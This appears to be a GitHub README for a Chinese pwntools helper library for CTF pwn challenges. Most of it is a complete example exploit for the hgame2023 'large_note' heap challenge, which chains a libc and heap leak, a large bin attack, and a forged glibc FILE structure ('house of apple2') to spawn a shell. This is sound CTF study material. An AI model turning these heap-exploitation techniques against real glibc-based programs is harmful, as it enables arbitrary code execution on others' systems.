Skip to content

Some pwn problems scripts which are usually used, all in one!

Notifications You must be signed in to change notification settings

Awoodwhale/pwn_all_in_one

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 

Repository files navigation

pwn_all_in_one

背景

每次写pwn题的时候,都需要使用到重复的模板,个人感觉非常的占位置,所以继承了一个pwntools.py的文件

每次写题目的时候只需要from pwntools import *就可以开始快速写题,而无需注意到某些烦人的代码片段

使用

本脚本是基于Python3的pwntools,使用到了一些Python3独有的f-string之类的东西,所以Python2的pwner可能无法使用,得自己改改

使用方法非常的简单:

  • 把pwntools.py放到~/.local/lib/python3.X/site-packages, 即Python导包的路径
  • 放在执行路径的同级目录下

随便写了一个经典的house of apple2的脚本用例来参考一下,题目是hgame2023 week3 large_note

  • 如果是打本地, 直接python3 exp.py就可以进行本地运行了
  • 如果是打远程, 使用python3 exp.py 114.51.41.91:11451 或者 python3 exp.py 114.51.41.91 11451 就可以自动打远程

当然远程ip还可以在init函数中设置, 或者在执行init函数之前设置pwnio对象的ipport属性

from pwntools import *

# 初始化程序
init("./vuln")

# 获取需要使用的io、elf和libc对象
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

cmd = lambda idx: sla(">", str(idx))


def add(idx, size=0x500):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


def build_fake_file(addr, vtable, _wide_data):
    # flag = 0xFBAD2887
    # fake_file = p64(flag)  # _flags
    # fake_file += p64(addr)  # _IO_read_ptr
    # 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
    fake_file = b""
    fake_file += p64(addr)  # _IO_read_end
    fake_file += p64(addr)  # _IO_read_base
    fake_file += p64(addr)  # _IO_write_base
    fake_file += p64(addr + 1)  # _IO_write_ptr
    fake_file += p64(addr)  # _IO_write_end
    fake_file += p64(addr)  # _IO_buf_base
    fake_file += p64(0)  # _IO_buf_end
    fake_file += p64(0)  # _IO_save_base
    fake_file += p64(0)  # _IO_backup_base
    fake_file += p64(0)  # _IO_save_end
    fake_file += p64(0)  # _markers
    fake_file += p64(0)  # _chain   could be a anathor file struct
    fake_file += p32(1)  # _fileno
    fake_file += p32(0)  # _flags2
    fake_file += p64(0)  # _old_offset
    fake_file += p16(0)  # _cur_column
    fake_file += p8(0)  # _vtable_offset
    fake_file += p8(0x10)  # _shortbuf
    fake_file += p32(0)
    fake_file += p64(0)  # _lock
    fake_file += p64(0)  # _offset
    fake_file += p64(0)  # _codecvt
    fake_file += p64(_wide_data)  # _wide_data
    fake_file += p64(0)  # _freeres_list
    fake_file += p64(0)  # _freeres_buf
    fake_file += p64(0)  # __pad5
    fake_file += p32(0)  # _mode
    fake_file += p32(0)  # unused2
    fake_file += p64(0) * 2  # unused2
    fake_file += p64(vtable)  # vtable
    return fake_file


"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec system("  sh;")
"""

add(0, 0x508)  # fake_wide_data
add(1, 0x550)  # fake_chain
add(2)
add(3, 0x540)
add(4)

#! leak libc base
free(1)
edit(1, "a")
show(1)
fd_bk = leak(l64() - 0x61, "fd_bk")
libc.address = leak(fd_bk - 0x1E3C00, "libc")
edit(1, b"\x00")

#! to large bin
add(5, 0x600)  # fake_jump

#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)

#! free large_chunk2 into unsortedbin
free(3)

#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all_chain = libc.address + 0x1E4648
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)

#! edit _flags -> "  sh;"
edit(0, b"\x00" * 0x500 + b"  sh;")

#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")

#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data))

#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
fake_jump = heap_base + 0x1C70
_wide_data = {0x18: 0, 0x30: 0, 0xE0: fake_jump}
edit(0, flat(_wide_data))
edit(5, p64(libc.sym["system"]) * 12)

dbg();pau()     # 如果是远程就不会执行debug调试
cmd(5)

ia()    # 交互

更新日志

  • 2022.9.4
    • 配置了部分常用函数
  • 2022.9.22
    • 默认使用wsl2 ubuntu进行debug, 若要自己使用自己的终端调试配置,在init函数中第四个参数terminal_args中添加
  • 2022.9.25
    • 修复了静态文件加载会爆libc无效错误的异常
    • 添加了一个timeout模块,用来进行自定义事件的pwn
    • 更新了init函数,添加了自定义ip和port的功能,同时保留了命令行输入ip和port的功能
  • 2022.10.1
    • 重构了init模块
    • 将所有的全局变量转为pwnio类中的成员变量,方便其他文件导入模块时更改
    • 删除了部分不必要的函数
    • 优化了dbg()函数,远程将不会开启gdb调试
    • 更新了open_dbg()和close_dbg()
    • 规范了函数注释
  • 2022.10.31
    • 优化了pwnio,使用了Python的面向对象
    • 目前调用pwnio对象的属性可以通过.的方式调用,也可以使用[]的方式调用
    • 新添加一个均分列表的方法
  • 2022.11.19
    • 新增libcpatcher.py文件,基于patchelf一键修改elf文件的libc
    • 新增了leak函数,使用leak获取地址的同时在控制台打印泄露的地址
    • 更新了i16和i10函数,可以传入bytes或者str类型
    • 修改默认开启过滤 Text is not bytes 的警告

About

Some pwn problems scripts which are usually used, all in one!

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages